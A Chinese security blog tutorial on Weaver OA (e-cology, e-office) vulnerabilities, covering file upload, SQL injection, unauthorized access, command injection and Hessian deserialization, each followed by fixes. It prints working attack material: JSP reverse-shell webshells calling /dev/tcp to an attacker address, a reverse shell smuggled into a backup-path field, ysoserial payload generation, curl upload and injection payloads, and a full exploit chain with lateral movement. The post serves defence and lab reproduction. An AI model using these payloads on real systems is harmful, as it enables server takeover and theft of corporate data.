文章目录
-
- 前言
- 一、核心漏洞分类与技术细节
-
- [1. 文件上传漏洞(e-cology <=8.5.0、e-office <=10.1)](#1. 文件上传漏洞(e-cology <=8.5.0、e-office <=10.1))
- [2. SQL注入漏洞(e-cology <=9.0.5、e-office <=9.8)](#2. SQL注入漏洞(e-cology <=9.0.5、e-office <=9.8))
- [3. 未授权访问漏洞(全版本默认配置)](#3. 未授权访问漏洞(全版本默认配置))
- [4. 命令注入漏洞(e-cology <=8.2.0、e-office <=10.0)](#4. 命令注入漏洞(e-cology <=8.2.0、e-office <=10.0))
- [5. Hessian反序列化漏洞(e-cology <=7.5.0)](#5. Hessian反序列化漏洞(e-cology <=7.5.0))
- 二、漏洞关联利用与攻击路径
-
- [1. 组合攻击示例(泛微e-cology全漏洞链)](#1. 组合攻击示例(泛微e-cology全漏洞链))
- [2. 典型攻击载荷](#2. 典型攻击载荷)
-
- (1)文件上传反弹Shell(e-cology)
- (2)SQL注入获取管理员密码(e-office)
- [(3)Hessian反序列化POC生成(e-cology 7.5)](#(3)Hessian反序列化POC生成(e-cology 7.5))
- 三、版本演进与修复策略
- 四、安全运维建议
-
- [1. 基础防护](#1. 基础防护)
- [2. 动态监测](#2. 动态监测)
- [3. 版本管理](#3. 版本管理)
- 五、典型漏洞复现环境搭建
-
- [1. 环境配置(以泛微e-cology 8.0为例)](#1. 环境配置(以泛微e-cology 8.0为例))
- [2. 漏洞验证(文件上传漏洞)](#2. 漏洞验证(文件上传漏洞))
- [3. 参考链接](#3. 参考链接)
- 六、总结
⚠️本博文所涉安全渗透测试技术、方法及案例,仅用于网络安全技术研究与合规性交流,旨在提升读者的安全防护意识与技术能力。任何个人或组织在使用相关内容前,必须获得目标网络 / 系统所有者的明确且书面授权,严禁用于未经授权的网络探测、漏洞利用、数据获取等非法行为。
前言
泛微OA是国内主流的企业级协同办公系统,由泛微网络开发维护,涵盖e-cology(大型企业版) 、e-office(中小企业版) 、e-wechat(移动办公版) 三大核心产品线,广泛应用于金融、政府、互联网、制造业等领域,承担企业内部流程审批、文档管理、客户关系维护、数据统计分析等核心业务。
其架构核心为"前端门户(用户交互层)"、"应用服务器(业务逻辑层,基于Java EE开发)"、"数据库(数据存储层,主流适配MySQL、Oracle)",部分版本还集成Apache Commons Collections、Hessian等第三方组件。随着部署范围扩大,低版本系统因安全设计缺陷 (如文件校验缺失)、配置默认化 (弱口令、未授权接口)、组件漏洞遗留(反序列化、命令注入),暴露出高频安全漏洞,成为安全响应中心(SRC)常见事件诱因,可能导致企业敏感数据泄露(员工信息、财务数据)、服务器被控、内网横向渗透等严重后果。本文针对泛微OA高频漏洞展开深度分析,为安全防护提供参考。
一、核心漏洞分类与技术细节
1. 文件上传漏洞(e-cology <=8.5.0、e-office <=10.1)
漏洞原理
泛微OA文件上传模块(如weaver.fileupload.FileUploadAction、e-office/portal/attachment.jsp)对上传文件的校验存在缺陷:
- 仅依赖前端JS校验文件后缀,后端未二次验证;
- 未严格校验文件MIME类型与实际内容,允许篡改文件标识绕过;
- 部分版本上传路径默认位于Tomcat webapps目录下,且未禁用脚本执行权限,导致上传的可执行脚本(.jsp、.jspx)可直接运行。
利用场景
攻击者通过Burp Suite拦截文件上传请求,将正常文档(如.docx)后缀修改为.jsp,写入反弹Shell代码(如Java Runtime执行系统命令),上传后访问文件存储路径即可获取服务器权限。例如:
- 登录泛微e-cology"文档中心",发起文件上传请求;
- 拦截请求并修改
filename为shell.jsp,文件内容为:
jsp
<%@ page import="java.io.*"%>
<%
Runtime.getRuntime().exec("bash -i >& /dev/tcp/attacker_ip/4444 0>&1");
%>
- 访问
http://target:8080/e-cology/attachment/shell.jsp,攻击机监听4444端口获取Shell。
修复方案
- 升级至安全版本:e-cology 8.5.10+、e-office 10.2+(官方修复文件校验逻辑);
- 后端加固:增加文件后缀白名单 (仅允许.docx、.pdf、.jpg等常用格式),并校验文件内容(如JPG文件首字节
FF D8); - 路径配置:将上传文件存储路径移出Tomcat webapps目录,或通过
web.xml配置禁用上传目录脚本执行权限。
2. SQL注入漏洞(e-cology <=9.0.5、e-office <=9.8)
漏洞原理
泛微OA部分业务接口(如流程查询、用户管理)未使用预编译语句(PreparedStatement),直接拼接用户输入作为SQL语句执行,导致SQL注入。典型风险接口包括:
e-cology/weaver/common/Ctrl?id=1(id参数未过滤);e-office/hr/manage/query.jsp?dept=IT(dept参数直接拼接进SELECT语句);- 启用
BshServlet(/weaver/bsh.servlet.BshServlet)时,可通过BeanShell执行SQL语句。
利用场景
攻击者通过SQL注入获取管理员账号密码哈希:
- 访问
http://target:8080/e-cology/weaver/common/Ctrl?id=1 AND 1=2 UNION SELECT 1,username,password,4 FROM sys_user WHERE role=1; - 提取响应中的
username=admin和password=e10adc3949ba59abbe56e057f20f883e(MD5加密的"123456"); - 通过彩虹表破解哈希,获取管理员明文密码。
修复方案
- 升级至e-cology 9.0.15+、e-office 9.9+(官方修复注入点,统一使用预编译语句);
- 接口加固:对用户输入进行严格过滤(如过滤
UNION、AND、OR等关键词),使用参数化查询; - 禁用危险组件:删除
WEB-INF/lib中的bsh.jar,关闭BshServlet。
3. 未授权访问漏洞(全版本默认配置)
漏洞原理
泛微OA部分核心接口未配置身份认证,攻击者无需登录即可访问敏感数据或执行操作:
- 数据接口:
/e-cology/services/WorkflowService?wsdl(未授权获取流程数据)、/e-office/api/user/list(未授权获取员工信息); - 功能接口:
/weaver/weaver.report.reportViewAction(未授权导出财务报表)、/e-cology/portal/notice.jsp(未授权查看内部公告)。
利用场景
攻击者通过未授权接口批量窃取企业敏感数据:
- 访问
http://target:8080/e-office/api/user/list,直接获取员工姓名、手机号、邮箱等信息; - 调用
WorkflowService接口,下载所有审批流程表单(含合同、报销单等机密数据); - 将数据整理后用于社工攻击或黑产交易。
修复方案
- 配置接口权限:在泛微OA后台"系统管理-接口权限"中,为所有
/services/*、/api/*接口添加登录校验; - 网络隔离:禁止泛微OA服务器直接暴露公网,仅允许企业内网或VPN访问;
- 增加Token验证:自定义开发接口时,引入
accessToken机制,校验请求合法性。
4. 命令注入漏洞(e-cology <=8.2.0、e-office <=10.0)
漏洞原理
泛微OA"系统备份""日志导出"等功能模块存在命令拼接缺陷:
- 备份功能中,
backupPath参数直接拼接进cmd.exe /c xcopy或bash cp命令; - 日志导出功能中,
logName参数未过滤特殊字符(如;、|),可注入额外系统命令。
利用场景
攻击者通过备份功能注入命令获取服务器权限:
- 登录泛微OA管理员后台,进入"系统管理-数据备份";
- 在"备份路径"输入框中填写
C:\backup;bash -i >& /dev/tcp/attacker_ip/4444 0>&1; - 点击"开始备份",系统执行拼接后的命令,攻击机监听端口获取反弹Shell。
修复方案
- 升级至e-cology 8.2.10+、e-office 10.1+(官方修复命令拼接逻辑,使用参数化调用);
- 输入过滤:对
backupPath、logName等参数过滤;、|、&等特殊字符; - 最小权限:运行泛微OA的Tomcat服务使用普通用户权限,禁止root/Administrator权限。
5. Hessian反序列化漏洞(e-cology <=7.5.0)
漏洞原理
泛微e-cology低版本使用Hessian协议进行远程调用(如调度中心与子模块通信),未对序列化数据进行过滤,结合Apache Commons Collections 3.1(含反序列化漏洞组件),攻击者可构造恶意序列化数据,触发任意代码执行。
利用场景
攻击者通过反序列化注入内存马实现持久化控制:
- 使用
ysoserial工具生成Hessian反序列化POC(基于CommonsCollections1gadget):
bash
java -jar ysoserial.jar CommonsCollections1 "bash -i >& /dev/tcp/attacker_ip/4444 0>&1" > poc.ser
- 通过
curl发送POC至Hessian接口:
bash
curl -X POST "http://target:8080/e-cology/hessian/service" \
-H "Content-Type: x-application/hessian" \
--data-binary @poc.ser
- 攻击机获取Shell后,植入冰蝎内存马(无文件落地,躲避杀软检测)。
修复方案
- 升级至e-cology 7.5.20+(官方移除Hessian协议,改用HTTP+JSON通信);
- 组件升级:将
Apache Commons Collections升级至4.4+(修复反序列化漏洞); - 禁用危险协议:在
application.properties中配置hessian.enable=false。
二、漏洞关联利用与攻击路径
1. 组合攻击示例(泛微e-cology全漏洞链)
步骤1:未授权信息收集
访问http://target:8080/e-cology/services/WorkflowService?wsdl,获取企业组织架构、管理员账号(如admin)及流程接口路径。
步骤2:SQL注入破解密码
利用/weaver/common/Ctrl接口注入SQL,查询sys_user表获取admin的密码哈希(如e10adc3949ba59abbe56e057f20f883e),通过彩虹表破解为明文123456。
步骤3:文件上传植入后门
使用admin/123456登录后台,进入"文档中心",上传伪装为test.docx的JSP后门(修改后缀为.jsp),获取后门路径http://target:8080/e-cology/attachment/backdoor.jsp。
步骤4:内网横向渗透
通过后门获取服务器内网IP段(如192.168.1.0/24),使用Nmap扫描内网其他泛微OA实例(默认端口8080、80),复用上述漏洞扩散控制范围。
2. 典型攻击载荷
(1)文件上传反弹Shell(e-cology)
bash
curl -X POST "http://target:8080/e-cology/weaver/weaver.fileupload.FileUploadAction" \
-H "Cookie: JSESSIONID=ABC123DEF456;" \
-F "file=@shell.jsp;filename=shell.jsp" \
-F "fileType=doc"
(2)SQL注入获取管理员密码(e-office)
bash
curl "http://target:8080/e-office/hr/manage/query.jsp?dept=IT' UNION SELECT 1,username,password,4 FROM sys_admin-- "
(3)Hessian反序列化POC生成(e-cology 7.5)
java
// 基于ysoserial CommonsCollections1 gadget
import ysoserial.payloads.CommonsCollections1;
import java.io.FileOutputStream;
public class HessianPOC {
public static void main(String[] args) throws Exception {
CommonsCollections1 cc1 = new CommonsCollections1();
byte[] payload = cc1.getPayload("bash -i >& /dev/tcp/1.1.1.1/4444 0>&1");
FileOutputStream fos = new FileOutputStream("poc.ser");
fos.write(payload);
fos.close();
}
}
三、版本演进与修复策略
| 漏洞类型 | 影响版本 | 修复版本 | 核心变更点 |
|---|---|---|---|
| 文件上传漏洞 | e-cology <=8.5.0 e-office <=10.1 | e-cology 8.5.10+ e-office 10.2+ | 增加后端文件后缀白名单与内容校验,禁用上传目录脚本执行权限 |
| SQL注入漏洞 | e-cology <=9.0.5 e-office <=9.8 | e-cology 9.0.15+ e-office 9.9+ | 统一使用预编译语句,修复/weaver/common/Ctrl等注入点 |
| 未授权访问漏洞 | 全版本默认配置 | e-cology 9.5.0+ e-office 10.3+ | 为/services/*、/api/*接口添加登录校验,新增接口权限管理模块 |
| 命令注入漏洞 | e-cology <=8.2.0 e-office <=10.0 | e-cology 8.2.10+ e-office 10.1+ | 修复备份/日志模块命令拼接,过滤特殊字符,使用参数化命令调用 |
| Hessian反序列化 | e-cology <=7.5.0 | e-cology 7.5.20+ | 移除Hessian协议,升级Apache Commons Collections至4.4+,关闭危险反序列化入口 |
四、安全运维建议
1. 基础防护
- 网络隔离:泛微OA服务器不直接暴露公网,通过堡垒机或VPN供内部员工访问;禁止9999、8080等非必要端口对外开放(仅允许办公网IP访问)。
- 配置加固 :
- 修改默认账号密码:强制将
admin默认密码(123456、weaver123)改为"大小写字母+数字+特殊符号"组合; - 禁用危险功能:关闭
BshServlet、Hessian协议,删除bsh.jar等风险组件; - 数据库防护:限制泛微OA服务器IP仅能访问数据库,禁止数据库账号远程登录。
- 修改默认账号密码:强制将
2. 动态监测
- WAF规则拦截 :
- 拦截文件上传请求:过滤
.jsp、.jspx、.asp等可执行后缀,拦截包含<%、Runtime.exec的文件内容; - 拦截注入请求:拦截含
UNION、AND 1=1、OR等SQL注入关键词的请求; - 拦截命令注入:过滤含
;、|、&的备份路径、日志名称参数。
- 拦截文件上传请求:过滤
- 日志审计 :
- 监控登录日志:重点关注异地登录、多次登录失败(防范暴力破解);
- 监控操作日志:跟踪文件上传、数据导出、系统备份等敏感操作(发现异常及时阻断);
- 定期导出日志:使用ELK等工具分析日志,识别潜在攻击行为。
3. 版本管理
- 定期版本检查 :通过泛微OA后台"系统设置-关于"查看版本,对照官方漏洞公告确认是否存在风险;使用泛微官方工具(如
e-cology漏洞检测工具.exe)扫描当前系统漏洞。 - 自动化升级:在CI/CD流程中集成OWASP Dependency-Check工具,检测泛微OA依赖组件的漏洞;官方发布安全补丁后,72小时内完成测试与升级(优先升级生产环境)。
五、典型漏洞复现环境搭建
1. 环境配置(以泛微e-cology 8.0为例)
步骤1:环境准备
- 操作系统:Windows Server 2012 R2(或Linux CentOS 7);
- 依赖软件:JDK 1.8(配置JAVA_HOME)、Tomcat 8.5(端口8080)、MySQL 5.7(编码utf8mb4);
- 漏洞版本:泛微e-cology 8.0(可从Vulhub或第三方漏洞环境平台获取)。
步骤2:初始化部署
- 将
e-cology-8.0.war放入Tomcat的webapps目录,启动Tomcat自动解压; - 访问
http://localhost:8080/e-cology/,进入安装向导,填写MySQL连接信息(数据库名ecology8,用户名root,密码123456); - 执行官方初始化SQL脚本(
ecology8_init.sql),等待部署完成。
步骤3:服务启动
- 启动MySQL:
net start mysql(Windows)或systemctl start mysqld(Linux); - 启动Tomcat:运行
Tomcat/bin/startup.bat(Windows)或startup.sh(Linux); - 验证访问:访问
http://localhost:8080/e-cology/login.jsp,使用默认账号admin/123456登录。
2. 漏洞验证(文件上传漏洞)
步骤1:构造恶意文件
创建shell.jsp,内容为:
jsp
<%@ page import="java.io.*"%>
<%
// 反弹Shell到攻击机(192.168.1.100:4444)
Process p = Runtime.getRuntime().exec("bash -i >& /dev/tcp/192.168.1.100/4444 0>&1");
InputStream is = p.getInputStream();
BufferedReader br = new BufferedReader(new InputStreamReader(is));
String line = null;
while((line = br.readLine()) != null) {
out.println(line);
}
%>
步骤2:拦截并篡改请求
- 打开Burp Suite,设置代理拦截浏览器请求;
- 登录泛微OA,进入"文档中心-上传文档",选择
shell.jsp(前端会提示"不允许上传该类型文件",忽略); - 拦截上传请求,修改
filename="shell.jsp"(原请求可能为filename="shell.jsp.docx"),删除前端校验相关参数(如fileType=docx); - 发送请求,响应中会返回文件存储路径(如
/e-cology/attachment/shell.jsp)。
步骤3:触发漏洞
- 攻击机执行
nc -lvp 4444(监听4444端口); - 访问
http://localhost:8080/e-cology/attachment/shell.jsp,攻击机成功获取反弹Shell。
3. 参考链接
- Vulhub泛微e-cology漏洞环境:https://github.com/vulhub/vulhub/tree/master/weaver/ecology-fileupload
- 泛微OA文件上传漏洞深度分析:https://xz.aliyun.com/t/10888
- 泛微OA多漏洞组合利用实战:https://forum.butian.net/share/1888
六、总结
泛微OA的高频漏洞多源于设计缺陷 (如文件校验缺失、命令拼接)、配置默认化 (弱口令、未授权接口)、第三方组件漏洞(Apache Commons Collections、Hessian),作为企业核心办公系统,漏洞一旦被利用,可能导致敏感数据泄露、业务中断,甚至成为内网渗透的"突破口"。
本文是「Web安全」系列内容,点击专栏导航查看全部内容。